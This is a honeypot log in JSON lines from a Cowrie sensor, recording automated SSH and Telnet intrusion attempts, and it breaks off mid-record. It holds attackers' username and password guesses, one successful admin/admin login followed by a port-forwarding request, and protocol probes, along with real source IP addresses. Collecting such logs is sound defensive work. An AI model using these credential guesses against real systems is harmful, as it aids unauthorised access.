{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":54408,"dst_ip":"159.203.135.109","dst_port":22,"session":"74d48de84f88","protocol":"ssh","message":"New connection: 109.237.96.109:54408 (159.203.135.109:22) [session: 74d48de84f88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:54:46.734831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:54:46.739563Z","src_ip":"109.237.96.109","session":"74d48de84f88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:54:46.834218Z","src_ip":"109.237.96.109","session":"74d48de84f88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lokomotiv","message":"login attempt [root/lokomotiv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:54:47.115214Z","src_ip":"109.237.96.109","session":"74d48de84f88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:54:48.213998Z","src_ip":"109.237.96.109","session":"74d48de84f88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.524532079696655,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:54:52.778439Z","src_ip":"152.42.224.71","session":"be592fc546bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53754,"dst_ip":"10.17.0.5","dst_port":22,"session":"87d59afb87bb","protocol":"ssh","message":"New connection: 103.153.68.219:53754 (10.17.0.5:22) [session: 87d59afb87bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:54:59.717897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:54:59.723315Z","src_ip":"103.153.68.219","session":"87d59afb87bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:54:59.969516Z","src_ip":"103.153.68.219","session":"87d59afb87bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qw12qw","message":"login attempt [root/12qw12qw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:55:00.709072Z","src_ip":"103.153.68.219","session":"87d59afb87bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:55:01.960988Z","src_ip":"103.153.68.219","session":"87d59afb87bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":40292,"dst_ip":"10.17.0.5","dst_port":22,"session":"028346596fa5","protocol":"ssh","message":"New connection: 103.195.236.96:40292 (10.17.0.5:22) [session: 028346596fa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:55:35.817572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:55:35.822416Z","src_ip":"103.195.236.96","session":"028346596fa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:55:36.057541Z","src_ip":"103.195.236.96","session":"028346596fa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nadezhda","message":"login attempt [root/nadezhda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:55:36.754524Z","src_ip":"103.195.236.96","session":"028346596fa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:55:38.091057Z","src_ip":"103.195.236.96","session":"028346596fa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":60264,"dst_ip":"10.17.0.5","dst_port":22,"session":"a13426e50d4f","protocol":"ssh","message":"New connection: 152.42.212.128:60264 (10.17.0.5:22) [session: a13426e50d4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:56:06.094725Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:56:06.100856Z","src_ip":"152.42.212.128","session":"a13426e50d4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:56:06.106408Z","src_ip":"152.42.212.128","session":"a13426e50d4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":60660,"dst_ip":"159.203.135.109","dst_port":23,"session":"007ae0e591b1","protocol":"telnet","message":"New connection: 213.108.3.46:60660 (159.203.135.109:23) [session: 007ae0e591b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:56:29.283955Z"}
{"eventid":"cowrie.session.closed","duration":0.01738452911376953,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:56:29.301238Z","src_ip":"213.108.3.46","session":"007ae0e591b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":64087,"dst_ip":"10.17.0.5","dst_port":22,"session":"4961a177e7b5","protocol":"ssh","message":"New connection: 167.172.81.52:64087 (10.17.0.5:22) [session: 4961a177e7b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:57:46.511431Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:57:46.526716Z","src_ip":"167.172.81.52","session":"4961a177e7b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:57:46.531967Z","src_ip":"167.172.81.52","session":"4961a177e7b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":12690,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e1ad6f53c28","protocol":"ssh","message":"New connection: 87.251.64.176:12690 (10.17.0.5:22) [session: 2e1ad6f53c28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:58:03.238930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:58:03.244055Z","src_ip":"87.251.64.176","session":"2e1ad6f53c28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:58:03.341441Z","src_ip":"87.251.64.176","session":"2e1ad6f53c28","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:58:03.637227Z","src_ip":"87.251.64.176","session":"2e1ad6f53c28","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:58:03.739157Z","session":"2e1ad6f53c28","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:58:03.837870Z","src_ip":"87.251.64.176","session":"2e1ad6f53c28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:58:03.937064Z","src_ip":"87.251.64.176","session":"2e1ad6f53c28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41482,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6a6e3397328","protocol":"telnet","message":"New connection: 152.42.224.71:41482 (10.17.0.5:23) [session: a6a6e3397328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:58:13.408539Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":60434,"dst_ip":"159.203.135.109","dst_port":22,"session":"784242202fed","protocol":"ssh","message":"New connection: 103.98.149.87:60434 (159.203.135.109:22) [session: 784242202fed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:58:35.364470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:58:35.373741Z","src_ip":"103.98.149.87","session":"784242202fed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:58:35.594266Z","src_ip":"103.98.149.87","session":"784242202fed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"secret","message":"login attempt [root/secret] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:58:36.517286Z","src_ip":"103.98.149.87","session":"784242202fed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:58:37.756913Z","src_ip":"103.98.149.87","session":"784242202fed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":47036,"dst_ip":"10.17.0.5","dst_port":22,"session":"c12554bd221a","protocol":"ssh","message":"New connection: 193.228.128.84:47036 (10.17.0.5:22) [session: c12554bd221a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:58:54.500670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:58:54.504537Z","src_ip":"193.228.128.84","session":"c12554bd221a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:58:54.605785Z","src_ip":"193.228.128.84","session":"c12554bd221a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rdfhnbhf","message":"login attempt [root/rdfhnbhf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:58:54.913040Z","src_ip":"193.228.128.84","session":"c12554bd221a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:58:56.018704Z","src_ip":"193.228.128.84","session":"c12554bd221a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.060192823410034,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:03.468658Z","src_ip":"152.42.224.71","session":"a6a6e3397328","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.140.215","src_port":46894,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f0a27282108","protocol":"ssh","message":"New connection: 198.50.140.215:46894 (10.17.0.5:22) [session: 6f0a27282108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:10.025514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:10.030421Z","src_ip":"198.50.140.215","session":"6f0a27282108","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac